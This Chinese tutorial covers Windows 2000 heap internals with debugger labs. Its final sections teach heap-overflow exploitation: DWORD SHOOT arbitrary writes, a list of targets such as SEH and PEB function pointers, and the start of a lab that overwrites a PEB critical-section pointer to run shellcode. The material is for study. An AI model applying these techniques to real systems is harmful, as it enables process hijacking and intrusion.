​ 空表位图大小为128bit,每一bit都对应着相应一条空表。若该对应的空表中没有链入任何空闲堆块,则对应的空表位图中的bit就为0,反之为1。在从对应大小空表分配内存失败后,系统将尝试从空表位图中查找满足分配大小且存在空闲堆块的最近的空表,从而加速了对空表的遍历

2.2.4 堆缓存

​ 所有等于或大于1024的空闲块,都被存放在FreeList[0]中。 这是一个从小到大排序的双向链表。因此,如果FreeList[0]中有越来越多的块, 当每次搜索这个列表的时候,堆管理器将需要遍历多外节点。 堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现。

注意

​ 堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0],但堆缓存保存着FreeList[0]内的一 些节点的指针,把它们当作快捷方式来加快遍历。

堆缓存结构

​ 这个堆缓存是一个简单的数组,数组中的每个元素大小都是int ptr_t字节,并且包含指向NULL指针或指向FreeList[0]中的块的指针。这个数组包含896个元素,指向的块在1024到8192之间。这是一个可配置的大小,我们将称它为最大缓存索引(maximum cache index) 。

​ 每个元素包含一个单独的指向FreeList[0]中第一个块的指针,它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素,这个指针将指向NULL。

​ 堆缓存中最后一个元素是唯一的:它不是指向特殊大小为8192的块,而是代表所有大于或等于最大缓存索引的块。所以,它会指向FreeList[0]中第一个大小大于 最大缓存索引的块。

堆缓存位图

​ 堆缓存数组大部分的元素是空的,所以有一个额外的位图用来加快搜索。这个位图的工作原理跟加速空闲列表的位图是一样的。



图2-2-4 堆缓存与FreeList[0]

2.2.5 快速单向链表Lookaside(旁视列表)

​ 快表是与Linux系统中Fastbin相似的存在,是为加速系统对小块的分配而存在的一个数据结构。快表共有128条单向链表,每一条单链表为一条快表,除第0号、1号快表外,从第2号快表到127号快表分别维护着从16字节(含堆头)开始到1016字节(含堆头)每8字节递增的快表,即(快表号*8字节)大小。由于空闲状态的堆头信息占8字节,因此0号和1号快表始终不会有堆块链入

​ 快表总是被初始化为空,每条快表最多有4个结点,进入快表的堆块遵从先进后出(FILO)的规律。为提升小堆块的分配速度,在快表中的空闲堆块不会进行合并操作

注意:图中堆块字节数已包含块头的8字节

​ 在分配新的堆块时,堆管理器会先搜索旁视列表,看是否有合适的堆块。因为从旁视列表中分配堆块是优先于其他分配逻辑的,所以它又叫**前端堆(front end heap)**,前端堆主要用来提高释放和分配堆块的速度

2.2.6 虚拟内存块VirtualAllocdBlocks

​ 当一个应用程序要分配大于 512KB 的堆块时,如果堆标志中包含 HEAP_GROWABLE(2),那 么堆管理器便会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地址记录在 HEAP 结构的 VirtualAllocdBlocks 所指向的链表中

​ 每个大虚拟内存块的起始处是一个 HEAP_VIRTUAL_ALLOC_ENTRY 结构(32 字节)

typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY {
LIST_ENTRY Entry;
HEAP_ENTRY_EXTRA ExtraStuff;
SIZE_T CommitSize;
SIZE_T ReserveSize;
HEAP_ENTRY BusyBlock;
} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;

2.3 堆块的操作

​ 当应用程序调用堆管理器的分配函数向堆管理器申请内存时,堆管理器会从自己维护的内存区中分割除一个满足用户指定大小的内存块,然后把这个块中允许用户访问部分的起始地址返回给应用程序,堆管理器把这样的块叫一个Chunk,也就是"堆块"。应用程序用完一个堆块后,应该调用堆管理器的释放函数归还堆块

​ 堆中的操作可以分为堆块分配、堆块释放和堆块并(Coalesce)三种。其中,“分配”和 “释放”是在程序提交申请和执行的,而堆块合并则是由堆管理系统自动完成

​ 在具体进行堆块分配和释放时,根据操作内存大小的不同,Windows 采取的策略也会有所 不同。可以把内存块按照大小分为三类:

小块:SIZE < 1KB

大块:1KB ≤ SIZE < 512KB

巨块:SIZE ≥ 512KB

2.3.1 堆块分配

1. 快表分配

​ 从快表中分配堆块比较简单,包括寻找到大小匹配的空闲堆块、将其状态修改为占用态、 把它从堆表中“卸下”、最后返回一个指向堆块块身的指针给程序使用。

​ 只有精准匹配时才会分配

2. 普通空表分配

​ 首先寻找最优的空闲块分配,若失败,则寻找次优的空闲块分配,即最小的能够满足要求的空闲块。

​ 当空表中无法找到匹配的“最优”堆块时,一个稍大些的块会被用于分配。这种次优分配发生时,会先从大块中按请求的大小精确地“割”出一块进行分配,然后给剩下的部分重新标注块首,链入空表

3. 零号空表分配

​ 零号空表中按照大小升序链着大小不同的空闲块,故在分配时先从 free[0]反向查找最后一 个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的 空闲堆块进行分配。

4. 分配算法

内存块类型 分配算法
小块:SIZE < 1KB 首先进行快表分配
若快表分配失败,进行普通空表分配
若普通空表分配失败,使用堆缓存(heap cache)分配
若堆缓存分配失败,尝试零号空表分配(freelist[0])
若零号空表分配失败,进行内存紧缩后再尝试分配
若扔无法分配,返回NULL
大块:1KB ≤ SIZE < 512KB 首先使用堆缓存进行分配
若堆缓存分配失败,使用free[0]中的大块进行分配
巨块:SIZE ≥ 512KB 需要用到虚分配方法

图2-3-1(1) 空表分配算法

5. 堆分配函数

1)Windows 平台下的堆管理架构



图2-3-1(2) Windows平台下的堆分配函数的关系



图2-3-1(3) Windows平台下的堆管理机制

2)堆分配函数

​ 所有堆分配函数最终都将使用位于 ntdll.dll 中的 RtlAllocateHeap()函数进行分配



图2-3-1(4) 堆分配函数与底层实现

RtlAllocateHeap函数分析如下:(详细过程见RtlAllocateHeap函数源码分析报告)

  1. 判断是否有HEAP_SLOW_FLAGS标志,如果有则将调用RtlAllocateHeapSlowly申请堆

  2. 如果是低碎片堆,调用RtlpLowFragHeapAlloc申请低碎片堆

  3. 计算获取分配大小并进行调整,确定分配索引

  4. 获得快表,如果分配索引在快表内(分配大小 < 1KB),从快表中分配内存

  5. 若快表分配失败,从空表中分配

    1)如果分配索引小于最大空闲列表大小,那么可以使用索引来检查空闲列表,获得符合要求的空闲块

    2)若符合要求的空闲列表为0,扫描使用中的空闲列表向量以找到足够大的最小可用空闲块以供分配,并将将这个块中我们不需要的内存返还给空闲列表

    3)计算申请堆块的大小(Size*8)和堆块的首地址,返回

  6. 如果分配请求索引不在空闲列表内,则很有可能大于最后的空闲列表大小

  7. 请求大小在VirtualMemoryThreshold(最大分配内存,超过此大小就交由内存管理器分配)内,从freelist[0]中分配:

    先从 free[0]反向查找最后一个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的空闲堆块进行分配

  8. 请求大小在VirtualMemoryThreshold(最大分配内存,超过此大小就交由内存管理器分配)外,进行虚分配,调用ZwAllocateVirtualMemory分配内存

2.3.2 堆块释放

​ 释放堆块的操作:将堆块状态改为空闲,链入相应的堆表。所有的释放块都链入堆表的末尾,分配的时候也先从堆表末尾拿。

1. 释放算法

内存块类型 释放算法
小块:SIZE < 1KB 优先链入快表(只能链入4个空闲块)
如果快表满,则将其链入相应的空表
大块:1KB ≤ SIZE < 512KB 优先将其放入堆缓存
若堆缓存满,将链入freelist[0]
巨块:SIZE ≥ 512KB 直接释放,没有堆表操作

2. 堆释放函数

​ 所有释放堆的API都调用RtlFreeHeap释放堆

RtlFreeHeap函数流程

  1. 如果该堆是低碎片堆,调用RtlpLowFragHeapFree释放低碎片堆

  2. 判断是否有HEAP_SLOW_FLAGS标志,如果有则将调用RtlFreeHeapSlowly释放堆

  3. 获得要被释放的堆块

    进行判错处理:

    1)拒绝释放没有设置忙位的块

    2)拒绝释放不是八字节对齐的块(这种情况下的具体错误是Office95,它喜欢在您从桌面快捷方式启动Word95 时释放一个随机指针)

    3)检查段索引以确保它小于 HEAP_MAXIMUM_SEGMENTS (16)

  4. 如果快表存在并且该块不是大块,则将该块释放到快表中

  5. 当该块不是巨块(巨块有内存管理器分配)的时候,此时该块由空表分配而来

    1)获取堆的大小,调用并调用RtlpCoalesceFreeBlocks合并块合并堆块

    2)若该堆块大小在空表范围内,将其释放到空表中

    3)如果被释放的堆块大小大于专用的空表大小,此时判断释放堆块的大小是否在规定范围内,检查块是否可以进入 [0] 索引空闲列表,如果可以,则插入并确保需要以下块知道我们正确的大小,并更新堆空闲空间计数器

  6. 如果该块是由ZwAllocateVirtualMemory分配的巨块,调用RtlpHeapRemoveEntryList将其从虚拟分配块的堆列表中删除,调用RtlpHeapFreeVirtualMemory将内存返还给虚拟内存管理器

3. 解除提交

​ 在堆块的释放中,堆管理器只在以下两个条件都满足时才会立即调用ZwFreevirtualMemory函数向内存管理器释放内存,通常称为解除提交(Decommit)

​ 1)本次释放的堆块大小超过了堆参数中的 DeCommitFreeBlockThreshold所代表的阈值

​ 2)累积起来的总空闲空间(包括本次)超过了堆参数中的DeCommitTotalFreeThreshold 所代表的阈值。

  • DeCommitFreeBlockThreshold和DeCommitTotalFreeThreshold是放在堆管理区的参数,创建堆时会使用PEB中的HeappeCommitFreeBlockThreshold和 HeapDeCommitTotalFreeThreshold字段的值来初始化这两个参数。

    kd> dt _PEB
    ntdll!_PEB
    +0x080 HeapDeCommitTotalFreeThreshold : 0x10000
    +0x084 HeapDecommitFreeBlockThreshold : 0x1000

    当要释放的堆块超过4KB并且堆上的总空闲空间达到64KB时,堆管理器才会立即向内存管理器执行解除提交操作真正释放内存,否则,堆管理器会将这个块加到空闲块列表中,并更新堆管理区的总空闲空间值(TotalFree)

2.3.3 堆块合并

​ 经过反复的申请与释放操作,堆区可能产生很多内存碎片。为了合理有效地利用内存,堆管理系统还要能够进行堆块合并操作。 当堆管理系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并操作。 堆块合并包括将两个块从空闲链表中“卸下”、合并堆块、调整合并后大块的块首信息(如大小等)、将新块重新链入空闲链表



图2-3-3 堆块合并

2.4 调试堆

2.4.1 空表中的申请与释放

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

#include <windows.h>
int main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
//hp = HeapCreate(0,0,0); //生成可扩展的堆即可显示快表
__asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24); HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); HeapFree(hp,0,h4); return 0;
}

调试注意事项

注意:实际调试后,使用Debug编译后的程序,直接运行,产生断点异常之后再附加调试器,其分配的堆块不会出现以下差异。只有一开始就使用调试器调试才会出现以下差异

​ 1. 调试堆与调试栈不同,不能直接用调试器 Ollydbg、Windbg 来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而使用调试态堆管理策略。

调试态堆管理策略和常态堆管理策略的差异

  • 调试堆不使用快表,只用空表分配

  • 所有堆块都被加上了多余的 16 字节尾部用来防止溢出(防止程序溢出而不是堆溢出攻击),这包括 8 个字节的 0xAB 和 8 个字节的 0x00。

  • 块首的标志位不同。 调试态的堆和常态堆的区别就好像 debug 版本的 PE 和 release 版本的 PE 一样。

  1. 可以在创建堆之后加入一个人工断点:_asm int 3,然后让程序单独执行。当程序把堆初始化完后,断点会中断程序,这时再用调试器 attach 进程,就能看到真实的堆了

  2. 如果在调试状态下查看进程默认堆,当调用HeapAlloc分配堆块后,堆块整个内存区都被填充为 0xBAADF00D(英文 Bad Food),这是因为我们在调试器中运行程序,系统自动启用了堆的调试支持

    当调用HeapFree释放堆块后,用户区除前 8 字节外的区域都被填充为 feeefeee,看起来像英文的 free,这正是堆管理器对已经释放堆块所自动填充的内容

实验过程

  1. 在 Windows 2000 平台下,使用 VC6.0 编译器的默认选项将实验代码 build 成 release 版本

  1. 直接运行,程序会自动中断

  1. 此时打开OllyDbg将其设置为默认调试器:选项->实时调试设置->设置OllyDbg为实时调试器->完成

  1. 此时点击刚才中断的程序,点击取消,自动进入OllyDbg中断到int 3断点处

  1. 单击 Ollydbg 中的“M”按钮,可以 得到当前的内存映射状态

可见开始于 0x00130000 的大小为 0x6000 的进程堆,可以通过 GetProcessHeap()函数获得这个堆的句柄并使用;

内存分配函数 malloc()的堆区:开始于0x00410000的大小为 0x8000 字节的堆

自己申请的堆区:开始于0x00520000的大小为0x1000的堆区

  1. 在内存区按快捷键 Ctrl+G 去 0x00520000地址处查看,从 0x00520000 开始,堆表中包含的信息依次是段表索引(Segment List)、 虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。 查看偏移 0x178 处的空表索引区

    FreeList[0]指向堆中目前唯一一个块,即位于偏移0x0688的尾块

  2. 当一个堆刚刚被初始化时,它的堆块状况非常简单。

    1)只有一个空闲态的大块,这个块被称做“尾块”

    2)位于堆偏移 0x0688 处(启用快表后这个位置将是快表),这里算上堆基址就是 0x00520688 (HEAP结构大小+HEAP_SEGMENT结构大小+HEAP_ENTRY结构大小)

    3)Freelist[0]指向“尾块”

    4)除零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块

  3. 查看尾块 0x00520688地址处

    1)这个堆块开始于 0x00520680,一般引用堆块的指针都会跃过 8 字节的块首,直接指向数据区

    2)尾块目前的大小为 0x0130,计算单位是 8 个字节,也就是 0x980 字节

    3)注意:堆块的大小是包含块首在内的

    0x0052688处的数据指向FreeList[0]构成双向链表

  4. 分析堆块内存的分配情况:

    1)堆块的大小包括块首在内,即如果请求 32 字节,实际会分配的堆块为 40 字节:8 字节块首+32 字节块身

    2)堆块的单位是 8 字节,不足 8 字节的部分按 8 字节分配

    3)初始状态下,快表和空表都为空,不存在精确分配。请求将使用“次优块”进行分配。 这个“次优块”就是位于偏移 0x0688 处的尾块

    4)由于次优分配的发生,分配函数会陆续从尾块中切走一些小块,并修改尾块块首中的 size 信息,最后把 freelist[0]指向新的尾块位置。 所以,对于前 6 次连续的内存请求,实际分配情况如表

    堆句柄 请求字节数 实际分配(堆单位) 实际分配(字节)
    h1 3 2 16
    h2 5 2 16
    h3 6 2 16
    h4 8 2 16
    h5 19 4 32
    h6 24 4 32
  5. 在 OllyDbg 中单步运行到前 6 次分配结束,堆中情况如下:

    指向尾块的FreeList[0]随着堆的分配往后挪了

  1. 在OllyDbg中单步执行,执行完前三次释放指令,分别释放h1,h3,h5堆块。由于前三次释放的堆块在内存中不连续,因此不会发生合并。

    按照其大小,h1和h3所指向的堆块应该被链入FreeList[2]的空表,h5被链入FreeList[4]

  2. OllyDbg继续单步执行,进行第四次释放,释放h4堆块,当此堆块被释放后,h3、h4、h5 这 3 个空闲块彼此相邻,这时会发生堆块合并操作

    1)首先这 3 个空闲块都将从空表中摘下,然后重新计算合并后新堆块的大小,最后按照合并后的大小把新块链入空表。

    2)h3、h4 的大小都是 2 个堆单位(8 字节),h5 是 4 个堆单位,合并后的新块为 8 个堆单位,将被链入 freelist[8]。

    最后一次释放操作执行完后的堆区状态如图

  3. 此时查看空表索引区

    1)在 0x00520188 处的 freelist[2],原来标识的空表中有两个空闲块 h1 和 h3,而现在只剩下 h1,因为 h3 在合并时被摘下了

    2)在 0x00520198 处的 freelist[4],原来标识的空表中有一个空闲块 h5,现在被改为指向自身,因为 h5 在合并时被摘下了

    3)在 0x005201B8 处的 freelist[8],原来指向自身,现在则指向合并后的新空闲块 0x005206AB

2.4.2 快表的申请与释放

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release

实验代码

#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}

实验过程

  1. 在 Windows 2000 平台下,使用 VC6.0 编译器的默认选项将实验代码 build 成 release 版本

  2. 直接运行,程序会自动中断,点击取消自动进入OllyDbg调试器调试

  3. 单击 Ollydbg 中的“M”按钮,可以 得到当前的内存映射状态,可见自己申请的起始于0x00520000的堆区

  4. 查看内存的0x520000地址处,可见程序在使用快表之后堆结构发生了一些变化,此时“尾块”不再位于堆 0x0688 偏移处了,这个位置被快表霸占。可从HEAP结构偏移0x580处查看快表地址,可见快表位于0x00520688处

    此时查看FreeList地址,为0x00521E90

  5. 查看0x00520688处的快表信息。可以看到堆刚初始化后快表是空的,这也是为什么代码中要反复的申请释放空间

  6. 在OllyDbg中单步执行。首先从 FreeList[0]中依次申请 8、16、24 个字节的空间,然后再通过 HeapFree 操作将其释放到快表中(快表未满时优先释放到快表中)

    根据三个堆块的大小我们可以知道块头+数据区得到堆块总大小分别为16,24,30个字节。16字节的会被插入到Lookaside[2]中、24字节的会被插入到 Lookaside[3]中、30 字节的会被插入到 Lookaside[4] 中

    在网上搜的时候有人说0x00360688开始的0x30是快表头结构。但是调试过程中实际算了一下从0x00360688到Lookaside刚好也是128项,并没有多申请一个所谓的头结构
    而且看RtlCreateHeap函数源码也只给快表申请了128项,FrontEndHeap就是指向的Lookaside[0] 再看RtlFreeHeap的代码,在释放快表时发现了如下代码: //Windows2003源码
    if ((Lookaside != NULL) &&
    RtlpIsFrontHeapUnlocked(Heap) &&
    (!(BusyBlock->Flags & HEAP_ENTRY_VIRTUAL_ALLOC)) &&
    ((FreeSize = BusyBlock->Size) < HEAP_MAXIMUM_FREELISTS)) {
    if (RtlpFreeToHeapLookaside( &Lookaside[FreeSize], BaseAddress)) { //widnows2000逆向分析
    if ( (BusyBlock_Flags & 0xE0) == 0 )
    {
    if ( *(_BYTE *)(HeapHandle + 1414) != 1 )
    JUMPOUT(0x77FCC9BF);
    Lookaside = *(_DWORD *)(HeapHandle + 1408);
    if ( Lookaside )
    {
    if ( !*(_WORD *)(HeapHandle + 1412) && (BusyBlock_Flags & 8) == 0 )
    {
    BusyBlock_Size = *BusyBlock;
    FreeSize = BusyBlock_Size;
    if ( BusyBlock_Size < 0x80 )
    {
    if ( (unsigned __int8)sub_77F829B4(Lookaside + 48 * BusyBlock_Size, BaseAddress) )
    return 1;
    }
    }
    }
    } 发现Lookaside查找的索引是根据堆块里堆块的大小(以8字节为粒度)来决定的,也就是说当释放一个8字节大小的数据,它所在的堆块大小为16个字节(块头+数据),也就是两个单位
    也就是释放到Lookaside[2]的位置,这样看就能说得通了

    执行完四次释放操作后快表区状态如图:

  7. 一个快表项大小为0x30,详细结构如下,可见前四个字节指向堆块结点的地址

    typedef struct _HEAP_LOOKASIDE {
    SLIST_HEADER_ ListHead; //指向堆块节点
    USHORT Depth;
    USHORT MaximumDepth;
    ULONG TotalAllocates;
    ULONG AllocateMisses;
    ULONG TotalFrees;
    ULONG FreeMisses;
    ULONG LastTotalAllocates;
    ULONG LastAllocateMisses;
    ULONG Counters[2];
    #ifdef _IA64_
    DWORD Pad[3];
    #else
    DWORD Pad;
    #endif
    } HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; struct SLIST_HEADER_
    {
    SLIST_HEADER_ * Next;
    ULONG_PTR Align;
    };
  8. 在 0x00521EA0 附近观察堆块的状态,可以发现快表中的堆块与空表中的堆块有着两个明显的区别

    1)块首中的标识位为 0x01,也就是这个堆块是 Busy 状态,这也是为什么快表中的堆块不进行合并操作的原因

    2)块首只存指向下一堆块的指针,不存在指向前一堆块的指针

  9. 经过前面的释放操作后,快表已经非空了,此时如果再申请 8、16 或 24 字节大小空间的时系统会从快表中给我们分配,所以程序中接下来申请 16 个字节空间(堆块大小为24个字节)时,系统会从 Lookaside[3]中卸载一个堆块分配给程序,同时修改 Lookaside[3]表头

2.5 堆保护机制

​ 微软对于Windows系统的内存保护机制是从Windows XP SP2版本才开始有明显建树的,在Windows 2000 – Windows XP SP1版本这一阶段,微软仅考虑了操作系统的性能和功能完整性,并没有过多考虑安全性因素,也正是由于这点,导致在该阶段系统中存在的漏洞极易被利用

2.6 堆漏洞利用

​ 该阶段为Windows系统原生阶段,只考虑了系统的性能和功能完整性,并没有过多的考虑安全性因素。因此在该阶段的堆漏洞的利用方法是最多样、最自由也是最稳定的,如DWORD SHOOT、Heap Spray等。接下来将详细介绍在该阶段操作系统中比较经典和常见的漏洞的产生原因以及利用方式

2.6.1 DWORD SHOOT

​ DWORD SHOOT:用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指 针(flink)和后向指针(blink),然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。这种能够向内存任意位置写入任意数据的机会称为“DWORD SHOOT”

​ 通过 DWORD SHOOT,攻击者可以进而劫持进程,运行 shellcode,例如如下的情形:

点射目标(Target) 子弹(payload) 改写后的结果
栈帧中的函数返回地址 shellcode起始地址 函数返回时,跳去执行shellcode
栈帧中的S.E.H句柄 shellcode起始地址 异常发生时,跳去执行shellcode
重要函数调用地址 shellcode起始地址 函数调用时,跳去执行shellcode

1. DWORD SHOOT原理调试

1)将一个结点从双向链表中“卸下”的函数
int remove (ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}



图2-6-1(1) 空闲双链表的拆卸

2)DWORD SHOOT原理

​ 将该过程转为汇编代码如下,利用堆溢出将块首进行覆盖,node->flink覆盖为shellcode起始地址,node->blink覆盖为Target地址,再调用HeapAlloc分配块时,内部会将被溢出的块从FreeList中卸下,卸下的过程中执行如下代码,发生:mov [edx], ecx,即[Target地址] = shellcode地址

​ 所以可以利用堆溢出进行DWORD SHOOT,将shellcode的起始地址写入任意地址处

;node -> blink -> flink = node -> flink; [node->blink] = flink
mov ecx, [ebp+pList]
mov edx, [ecx+4] ; 把node->blink赋给edx 此时edx保存返回的地址(Target地址)
mov eax, [ebp+pList]
mov ecx, [eax] ; 把node->flink赋给ecx 此时ecx保存shellcode起始地址(payload地址)
mov [edx], ecx ; node->blink->flink = node->flink 此时[Target地址] = shellcode地址 ;node -> flink -> blink = node -> blink;
mov eax, [ebp+pList]
mov ecx, [eax] ; 把node->flink赋给ecx 此时ecx保存shellcode起始地址(payload地址)
mov edx, [ebp+pList]
mov eax, [edx+4] ; 把node->blink赋给eax 此时eax保存返回的地址(Target地址)
mov [ecx+4], eax ; node->flink->blink = node->blink 此时[shellcode + 4] = Target地址 所以此处会修改[shellcode+4]的值



图2-6-1(2) DWORD SHOOT原理图

3)原理调试

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

#include <windows.h>
int main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); _asm int 3 //used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries //will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); return 0;
}

程序分析

  1. 程序首先创建了一个大小为 0x1000 的堆区,并从其中连续申请了 6 个大小为 8 字节 的堆块(加上块首实际上是 16 字节),这应该是从初始的大块中“切”下来的。
  2. 释放奇数次申请的堆块是为了防止堆块合并的发生
  3. 三次释放结束后,freelist[2]所标识的空表中应该链入了 3 个空闲堆块,它们依次是 h1、 h3、h5。
  4. 再次申请 8 字节的堆块,应该从 freelist[2]所标识的空表中分配,这意味着最后一个堆块 h5 被从空表中“拆下”
  5. 如果此时手动修改 h5 块首中的指针,应该能够观察到 DWORD SHOOT 的发生

实验过程

  1. 直接运行程序,让其在_asm int 3 处自己中断,然后附上调试器

  2. 三次内存释放操作结束后,直接在内存区按快捷键 Ctrl+G 观察 0x00520688 处的堆块状况

    从 0x00520680 处开始,共有 9 个堆块,如下表:

    堆句柄 起始地址 Flag Size 单位:8bytes 前向指针 flink 后向指针 blink
    h1 0x00520680 空闲态 0x00 0x0002 0x005206A8 0x00520188
    h2 0x00520690 占用态 0x01 0x0002
    h3 0x005206A0 空闲态 0x00 0x0002 0x005206C8 0x00520688
    h4 0x005206B0 占用态 0x01 0x0002
    h5 0x005206C0 空闲态 0x00 0x0002 0x00520188 0x005206A8
    h6 0x005206D0 占用态 0x01 0x0002
    尾块 0x005206E0 最后一项(0x10) 0x0124 0x00520178
    (freelist[0])
    0x00520178
    (freelist[0])

    图2-6-1(3) FreeList[2]的结点情况

  3. 最后一次 8 字节的内存请求会把 freelist[2]的最后一项(原来的 h5)分配出去,即最后一个结点将被“卸下”

    如果现在直接在内存中修改 h5 堆块中的空表指针(当然攻击发生时是由于溢出而改写的),那么应该能够观察到 DWORD SHOOT 现象

  4. 直接在调试器中手动将 0x005206C8 (h5)处的前向指针改为 0x44444444,后向指针改为 0x00000000

  5. 当最后一个分配函数被调用后,调试器被异常中断,原因是无法将 0x44444444 写入 0x00000000。当然,如果我们把射击目标定为合法地址,这条指令执行后, 0x44444444 将会被写入目标

------

2. DWORD SHOOT的利用方法

DWORD SHOOT 的常用目标(Windows XP SP1 之前的平台)
  1. 内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程。

    例如, 更改身份验证函数的返回值就可以直接通过认证机制。在这种应用场景中,DWORD SHOOT 要比栈溢出强大得多,因为栈溢出时溢出的数据必须连续,而 DWORD SHOOT 可以更改内存中任意地址的数据

  2. 代码逻辑:修改代码段重要函数的关键逻辑有时可以达到一定攻击效果

    例如,程序分支处的判断逻辑,或者把身份验证函数的调用指令覆盖为 0x90(nop)。这种方法有点类似软件破解技术中的“爆破”——通过更改一个字节而改变整个程序的流程

  3. 函数返回地址:栈溢出通过修改函数返回地址能够劫持进程,堆溢出也一样可以利用 DWORD SHOOT 更改函数返回地址。但由于栈帧移位的原因,函数返回地址往往是不固定的, 甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同,故 DWORD SHOOT 在这种情况下有一定局限性,因为移动的靶子不好瞄准

  4. 攻击异常处理机制:当程序产生异常时,Windows 会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会成为 DWORD SHOOT 的上等目标,这包括 S.E.H(structure exception handler)、F.V.E.H(First Vectored Exception Handler)、进 环境块(P.E.B)中的 U.E.F (Unhandled Exception Filter)、线程环境块(T.E.B)中存放的第一个 S.E.H 指针(T.E.H)

  5. 函数指针:系统有时会使用一些函数指针,比如调用动态链接库中的函数、C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功地劫持进程

  6. P.E.B 中线程同步函数的入口地址:在每个进程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection(),并且在进程退出时会被 ExitProcess()调用。如果能够通过 DWORD SHOOT 修改这对指针中的其中一个,那么在程序退出时 ExitProcess()将会被骗去调用我们的 shellcode。

    由于 P.E.B 的位置始终不会变化, 这对指针在 P.E.B 中的偏移也始终不变,这使得利用堆溢出开发适用于不同操作系统版本和补 丁版本的 exploit 成为可能


狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针

​ Windows 为了同步进程下的多个线程,使用了一些同步措施,如锁机制(lock)、信号量 (semaphore)、临界区(critical section)等。许多操作都要用到这些同步机制。 当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数 RtlEnterCriticalSection()和 RtlLeaveCriticalSection()来同步线程防止“脏数据”的产生。

ExitProcess()函数调用临界区函数的方法:通过进程环境块 P.E.B 中偏移 0x20 处存放的函数指针来间接完成。即在 0x7FFDF020 处存放着指向 RtlEnterCriticalSection()的指针,在 0x7FFDF024 处存放着指向 RtlLeaveCriticalSection()的指针。

注意:从 Windows 2003 Server 开始,微软已经修改了这里的实现。

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验思路

  1. h1 向堆中申请 200 字节的空间。调用memcpy写入512 字节造成溢出。在h1分配完之后,后边紧接着的是一个大空闲块(尾块)。超过 200 字节的数据将覆盖尾块的块首。
  2. 用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。DWORD SHOOT 的目标是 0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,简单地将其直接修改为 shellcode 的位置。
  3. DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。
  4. ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指 向 shellcode 的指针,因此 shellcode 被执行。

实验过程

  1. 直接运行.exe 文件,在断点将进程中断时,再把调试器 attach 上

  2. 构造shellcode,前168字节为弹出对话框的机器码,后面不足200字节的使用0x90填充

    201-208字节处为 8 字节的块首信息。为了防止在DWORD SHOOT发生之前产生异常,直接将块首从内存中复制使用:“\x16\x01\x1A\x00\x00\x10\x00\x00”

